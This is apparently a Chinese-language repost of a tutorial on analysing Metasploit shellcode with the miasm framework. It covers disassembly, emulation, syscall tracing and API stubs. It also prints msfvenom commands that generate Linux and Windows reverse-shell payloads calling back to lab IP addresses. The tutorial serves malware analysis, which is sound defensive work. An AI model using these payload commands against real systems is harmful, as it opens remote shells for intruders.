16

使用Miasm分析Shellcode

 4 years ago
source link: https://www.freebuf.com/articles/terminal/232540.html
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

Shellcode是一个有趣的东西,我一直想使用 miasm 来学习很久了(因为几年前我在SSTIC上看到了第一次演讲),现在,我终于可以在这个新冠的夜晚里学习了。

Linux Shellcode

让我们从Linux shellcode开始,因为它们不如Windows shellcode复杂。

msfvenom -p linux/x86/exec CMD=/bin/ls -a x86 --platform linux -f raw > sc_linux1

让我们用miasm反汇编shellcode:

from miasm.analysis.binary import Container
from miasm.analysis.machine import Machine
with open("sc_linux1", "rb") as f:
    buf = f.read()
container = Container.from_string(buf)
machine = Machine('x86_32')
mdis = machine.dis_engine(container.bin_stream)
mdis.follow_call = True # Follow calls
mdis.dontdis_retcall = True # Don't disassemble after calls
disasm = mdis.dis_multiblock(offset=0)
print(disasm)

我们得到以下代码:

loc_key_0
PUSH       0xB
POP        EAX
CDQ
PUSH       EDX
PUSHW      0x632D
MOV        EDI, ESP
PUSH       0x68732F
PUSH       0x6E69622F
MOV        EBX, ESP
PUSH       EDX
CALL       loc_key_1
->c_to:loc_key_1
loc_key_1
PUSH       EDI
PUSH       EBX
MOV        ECX, ESP
INT        0x80
[SNIP]

这里没有什么奇怪的,INT 0×80正在调用系统,并且系统调用代码在第一行移至EAX,0xB是的代码execve。我们可以CALL loc_key_1通过在指令地址+大小和的地址之间取数据来轻松获得数据后的地址loc_key1:

> inst = list(disasm.blocks)[0].lines[10] # Instruction 10 of block 0
> print(buf[inst.offset+inst.l:disasm.loc_db.offsets[1]])
b'/bin/ls\x00'

接下来我们再来一个更复杂的shellcode:

msfvenom -p linux/x86/shell/reverse_tcp LHOST=10.2.2.14 LPORT=1234 -f raw > sc_linux2

该代码中有条件跳转,我们换成图形化来阅读:

from miasm.analysis.binary import Container
from miasm.analysis.machine import Machine
with open("sc_linux2", "rb") as f:
    buf = f.read()
container = Container.from_string(buf)
machine = Machine('x86_32')
mdis = machine.dis_engine(container.bin_stream)
mdis.follow_call = True # Follow calls
mdis.dontdis_retcall = True # Don't disassemble after calls
disasm = mdis.dis_multiblock(offset=0)
open('bin_cfg.dot', 'w').write(disasm.dot())

QNZZB3N.jpg!web

要想从静态就理解有点困难,因此让我们看看是否可以使用miasm来模拟它。

模拟指令非常容易:

from miasm.analysis.machine import Machine
from miasm.jitter.csts import PAGE_READ, PAGE_WRITE
myjit = Machine("x86_32").jitter("python")
myjit.init_stack()
data = open('sc_linux2', 'rb').read()
run_addr = 0x40000000
myjit.vm.add_memory_page(run_addr, PAGE_READ | PAGE_WRITE, data)
myjit.set_trace_log()
myjit.run(run_addr)

Miasm模拟所有指令,直到我们到达第一个int 0×80调用为止:

40000000 PUSH       0xA
EAX 00000000 EBX 00000000 ECX 00000000 EDX 00000000 ESI 00000000 EDI 00000000 ESP 0123FFFC EBP 00000000 EIP 40000002 zf 0 nf 0 of 0 cf 0
40000002 POP        ESI
EAX 00000000 EBX 00000000 ECX 00000000 EDX 00000000 ESI 0000000A EDI 00000000 ESP 01240000 EBP 00000000 EIP 40000003 zf 0 nf 0 of 0 cf 0
[SNIP]
40000010 INT        0x80
EAX 00000066 EBX 00000001 ECX 0123FFF4 EDX 00000000 ESI 0000000A EDI 00000000 ESP 0123FFF4 EBP 00000000 EIP 40000012 zf 0 nf 0 of 0 cf 0
Traceback (most recent call last):
  File "linux1.py", line 11, in <module>
    myjit.run(run_addr)
  File "/home/user/tools/malware/miasm/miasm/jitter/jitload.py", line 423, in run
    return self.continue_run()
  File "/home/user/tools/malware/miasm/miasm/jitter/jitload.py", line 405, in continue_run
    return next(self.run_iterator)
  File "/home/user/tools/malware/miasm/miasm/jitter/jitload.py", line 373, in runiter_once
    assert(self.get_exception() == 0)
AssertionError

默认情况下,miasm计算机不执行系统调用,但是可以为该异常添加异常处理程序EXCEPT_INT_XX(EXCEPT_SYSCALL对于Linux x86_64)并自己实现。让我们先打印系统调用号码:

from miasm.jitter.csts import PAGE_READ, PAGE_WRITE, EXCEPT_INT_XX
from miasm.analysis.machine import Machine
def exception_int(jitter):
    print("Syscall: {}".format(jitter.cpu.EAX))
    return True
myjit = Machine("x86_32").jitter("python")
myjit.init_stack()
data = open('sc_linux2', 'rb').read()
run_addr = 0x40000000
myjit.vm.add_memory_page(run_addr, PAGE_READ | PAGE_WRITE, data)
myjit.add_exception_handler(EXCEPT_INT_XX, exception_int)
myjit.run(run_addr)

这给了我们系统调用:

Syscall: 102
Syscall: 102

在意识到miasm已经 集成了多个syscall实现 和使它们由虚拟机执行的方法之前,我开始 重新实现 shellcode经常使用的 一些syscall 。我已经提交了一些额外的系统调用的PR,然后我们可以模拟shellcode:

myjit = Machine("x86_32").jitter("python")
myjit.init_stack()
data = open("sc_linux2", 'rb').read()
run_addr = 0x40000000
myjit.vm.add_memory_page(run_addr, PAGE_READ | PAGE_WRITE, data)
log = logging.getLogger('syscalls')
log.setLevel(logging.DEBUG)
env = environment.LinuxEnvironment_x86_32()
syscall.enable_syscall_handling(myjit, env, syscall.syscall_callbacks_x86_32)
myjit.run(run_addr)

我们得到以下syscall跟踪:

[DEBUG   ]: socket(AF_INET, SOCK_STREAM, 0)
[DEBUG   ]: -> 3
[DEBUG   ]: connect(fd, [AF_INET, 1234, 10.2.2.14], 102)
[DEBUG   ]: -> 0
[DEBUG   ]: sys_mprotect(123f000, 1000, 7)
[DEBUG   ]: -> 0
[DEBUG   ]: sys_read(3, 123ffe4, 24)

因此,使用miasm分析linux shellcode非常容易,您可以使用 此脚本

windows

由于无法在Windows上对系统调用指令,因此Windows Shellcode需要使用共享库中的函数,这需要使用LoadLibrary和GetProcAddress加载它们,后者首先需要在kernel32.dll DLL文件中找到这两个函数地址。记忆。

让我们用metasploit生成第一个shellcode:

msfvenom -a x86 --platform Windows -p windows/shell_reverse_tcp LHOST=192.168.56.1 LPORT=443   -f raw > sc_windows1

我们可以使用上面用于Linux的完全相同的代码来生成调用图:

eM3qQbM.jpg!web

在这里,我们看到了大多数shellcode用来获取其自身地址的技巧之一,CALL就是将下一条指令的地址压入堆栈,然后将其存储在EBP中POP。因此CALL EBP,最后一条指令的,就是在第一次调用之后立即调用该指令。而且由于此处仅使用静态分析,所以miasm无法知道EBP中的地址。

我们仍然可以在第一次调用后手动反汇编代码:

inst = inst = list(disasm.blocks)[0].lines[1] # We get the second line of the first block
next_addr = inst.offset + inst.l # offset + size of the instruction
disasm = mdis.dis_multiblock(offset=next_addr)
open('bin_cfg.dot', 'w').write(disasm.dot())

QFVjie3.jpg!web

在这里,我们看到的shellcode首先通过以下寻找KERNEL32的地址PEB,PEB_LDR_DATA并LDR_DATA_TABLE_ENTRY在内存中的结构。让我们模拟一下:

from miasm.jitter.csts import PAGE_READ, PAGE_WRITE
from miasm.analysis.machine import Machine
def code_sentinelle(jitter):
    jitter.run = False
    jitter.pc = 0
    return True
myjit = Machine("x86_32").jitter("python")
myjit.init_stack()
data = open("sc_windows1", 'rb').read()
run_addr = 0x40000000
myjit.vm.add_memory_page(run_addr, PAGE_READ | PAGE_WRITE, data)
myjit.set_trace_log()
myjit.push_uint32_t(0x1337beef)
myjit.add_breakpoint(0x1337beef, code_sentinelle)
myjit.run(run_addr)
40000000 CLD
EAX 00000000 EBX 00000000 ECX 00000000 EDX 00000000 ESI 00000000 EDI 00000000 ESP 0123FFFC EBP 00000000 EIP 40000001 zf 0 nf 0 of 0 cf 0
40000001 CALL       loc_40000088
EAX 00000000 EBX 00000000 ECX 00000000 EDX 00000000 ESI 00000000 EDI 00000000 ESP 0123FFF8 EBP 00000000 EIP 40000088 zf 0 nf 0 of 0 cf 0
40000088 POP        EBP
EAX 00000000 EBX 00000000 ECX 00000000 EDX 00000000 ESI 00000000 EDI 00000000 ESP 0123FFFC EBP 40000006 EIP 40000089 zf 0 nf 0 of 0 cf 0
40000089 PUSH       0x3233
EAX 00000000 EBX 00000000 ECX 00000000 EDX 00000000 ESI 00000000 EDI 00000000 ESP 0123FFF8 EBP 40000006 EIP 4000008E zf 0 nf 0 of 0 cf 0
[SNIP]
4000000B MOV        EDX, DWORD PTR FS:[EAX + 0x30]
WARNING: address 0x30 is not mapped in virtual memory:
Traceback (most recent call last):
[SNIP]
RuntimeError: Cannot find address

一直进行到到达为止MOV EDX, DWORD PTR FS:[EAX + 0x30],此指令从内存中的FS段获取TEB结构地址。但是在这种情况下,miasm仅模拟代码,而未在内存中加载任何系统段。为此,我们需要使用miasm的完整Windows Sandbox,但是这些VM仅运行PE文件,因此,我们首先使用简短的脚本使用 lief 将shellcode转换为完整的PE文件:

from lief import PE
with open("sc_windows1", "rb") as f:
    data = f.read()
binary32 = PE.Binary("pe_from_scratch", PE.PE_TYPE.PE32)
section_text                 = PE.Section(".text")
section_text.content         = [c for c in data] # Take a list(int)
section_text.virtual_address = 0x1000
section_text = binary32.add_section(section_text, PE.SECTION_TYPES.TEXT)
binary32.optional_header.addressof_entrypoint = section_text.virtual_address
builder = PE.Builder(binary32)
builder.build_imports(True)
builder.build()
builder.write("sc_windows1.exe")

现在,让我们使用一个miasm沙箱来运行此PE,该沙箱可以选择use-windows-structs将Windows结构加载到内存中(请参见 此处 的代码):

from miasm.analysis.sandbox import Sandbox_Win_x86_32
class Options():
    def __init__(self):
        self.use_windows_structs = True
        self.jitter = "gcc"
        #self.singlestep = True
        self.usesegm = True
        self.load_hdr = True
        self.loadbasedll = True
    def __getattr__(self, name):
        return None
options = Options()
# Create sandbox
sb = Sandbox_Win_x86_32("sc_windows1.exe", options, globals())
sb.run()
assert(sb.jitter.run is False)

该选项loadbasedll是基于名为的文件夹中的现有dll将DLL结构加载到内存中win_dll(您需要Windows x86_32 DLL)。执行后,出现以下崩溃:

[SNIP]
[INFO    ]: kernel32_LoadLibrary(dllname=0x13ffe8) ret addr: 0x40109b
[WARNING ]: warning adding .dll to modulename
[WARNING ]: ws2_32.dll
Traceback (most recent call last):
  File "windows4.py", line 18, in <module>
    sb.run()
    [SNIP]
  File "/home/user/tools/malware/miasm/miasm/jitter/jitload.py", line 479, in handle_lib
    raise ValueError('unknown api', hex(jitter.pc), repr(fname))
ValueError: ('unknown api', '0x71ab6a55', "'ws2_32_WSAStartup'")

如果我们查看文件jitload.py,它实际上调用了在 win_api_x86_32.py中 实现的DLL函数,并且我们看到kernel32_LoadLibrary确实实现了该函数,但没有实现WSAStartup,因此我们需要自己实现它。

Miasm实际上使用了一个非常聪明的技巧来简化新库的实现,沙盒接受附加功能的参数,默认情况下使用调用globals()。这意味着我们只需要在代码中定义一个具有正确名称的函数,它就可以直接作为系统函数使用。让我们尝试ws2_32_WSAStartup:

def ws2_32_WSAStartup(jitter):
    print("WSAStartup(wVersionRequired, lpWSAData)")
    ret_ad, args = jitter.func_args_stdcall(["wVersionRequired", "lpWSAData"])
    jitter.func_ret_stdcall(ret_ad, 0)

现在我们得到:

INFO    ]: kernel32_LoadLibrary(dllname=0x13ffe8) ret addr: 0x40109b
[WARNING ]: warning adding .dll to modulename
[WARNING ]: ws2_32.dll
WSAStartup(wVersionRequired, lpWSAData)
Traceback (most recent call last):
[SNIP]
  File "/home/user/tools/malware/miasm/miasm/jitter/jitload.py", line 479, in handle_lib
    raise ValueError('unknown api', hex(jitter.pc), repr(fname))
ValueError: ('unknown api', '0x71ab8b6a', "'ws2_32_WSASocketA'")

我们可以继续这种方式,并逐一实现shellcode调用的几个函数:

def ws2_32_WSASocketA(jitter):
    """
    SOCKET WSAAPI WSASocketA(
        int                 af,
        int                 type,
        int                 protocol,
        LPWSAPROTOCOL_INFOA lpProtocolInfo,
        GROUP               g,
        DWORD               dwFlags
    );
    """
    ADDRESS_FAM = {2: "AF_INET", 23: "AF_INET6"}
    TYPES = {1: "SOCK_STREAM", 2: "SOCK_DGRAM"}
    PROTOCOLS = {0: "Whatever", 6: "TCP", 17: "UDP"}
    ret_ad, args = jitter.func_args_stdcall(["af", "type", "protocol", "lpProtocolInfo", "g", "dwFlags"])
    print("WSASocketA({}, {}, {}, ...)".format(
        ADDRESS_FAM[args.af],
        TYPES[args.type],
        PROTOCOLS[args.protocol]
    ))
    jitter.func_ret_stdcall(ret_ad, 14)
def ws2_32_connect(jitter):
    ret_ad, args = jitter.func_args_stdcall(["s", "name", "namelen"])
    sockaddr = jitter.vm.get_mem(args.name, args.namelen)
    family = struct.unpack("H", sockaddr[0:2])[0]
    if family == 2:
        port = struct.unpack(">H", sockaddr[2:4])[0]
        ip = ".".join([str(i) for i in struct.unpack("BBBB", sockaddr[4:8])])
        print("socket_connect(fd, [{}, {}, {}], {})".format("AF_INET", port, ip, args.namelen))
    else:
        print("connect()")
    jitter.func_ret_stdcall(ret_ad, 0)
def kernel32_CreateProcessA(jitter):
    ret_ad, args = jitter.func_args_stdcall(["lpApplicationName", "lpCommandLine", "lpProcessAttributes", "lpThreadAttributes", "bInheritHandles", "dwCreationFlags", "lpEnvironment", "lpCurrentDirectory", "lpStartupInfo", "lpProcessInformation"])
    jitter.func_ret_stdcall(ret_ad, 0)
def kernel32_ExitProcess(jitter):
    ret_ad, args = jitter.func_args_stdcall(["uExitCode"])
    jitter.func_ret_stdcall(ret_ad, 0)
    jitter.run = False

最后,我们对shellcode进行了完整的模拟:

[INFO    ]: Add module 400000 'sc_windows1.exe'
[INFO    ]: Add module 7c900000 'ntdll.dll'
[INFO    ]: Add module 7c800000 'kernel32.dll'
[INFO    ]: Add module 7e410000 'use***.dll'
[INFO    ]: Add module 774e0000 'ole32.dll'
[INFO    ]: Add module 7e1e0000 'urlmon.dll'
[INFO    ]: Add module 71ab0000 'ws2_32.dll'
[INFO    ]: Add module 77dd0000 'advapi32.dll'
[INFO    ]: Add module 76bf0000 'psapi.dll'
[INFO    ]: kernel32_LoadLibrary(dllname=0x13ffe8) ret addr: 0x40109b
[WARNING ]: warning adding .dll to modulename
[WARNING ]: ws2_32.dll
WSAStartup(wVersionRequired, lpWSAData)
[INFO    ]: ws2_32_WSAStartup(wVersionRequired=0x190, lpWSAData=0x13fe58) ret addr: 0x4010ab
[INFO    ]: ws2_32_WSASocketA(af=0x2, type=0x1, protocol=0x0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x0) ret addr: 0x4010ba
WSASocketA(AF_INET, SOCK_STREAM, Whatever, ...)
[INFO    ]: ws2_32_connect(s=0xe, name=0x13fe4c, namelen=0x10) ret addr: 0x4010d4
socket_connect(fd, [AF_INET, 443, 192.168.56.1], 16)
[INFO    ]: kernel32_CreateProcessA(lpApplicationName=0x0, lpCommandLine=0x13fe48, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0x1, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x13fe04, lpProcessInformation=0x13fdf4) ret addr: 0x401117
[INFO    ]: kernel32_WaitForSingleObject(handle=0x0, dwms=0xffffffff) ret addr: 0x401125
[INFO    ]: kernel32_GetVersion() ret addr: 0x401131
[INFO    ]: kernel32_ExitProcess(uExitCode=0x0) ret addr: 0x401144

总结

学习miasm很有趣,我发现它非常强大,miasm编写得很好并且具有很多功能。唯一的缺点是目前缺少文档。如果您想开始使用miasm,则应查看 示例博客文章 ,它们是很好的起点。Willi Ballenthin最近还写了一些我觉得很有趣的 博客 文章 。并且,一旦您知道其中的点点滴滴,就可以 加入我

待在家里,保重!

*参考来源: randhome ,FB小编周大涛编译,转载请注明来自FreeBuf.COM


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK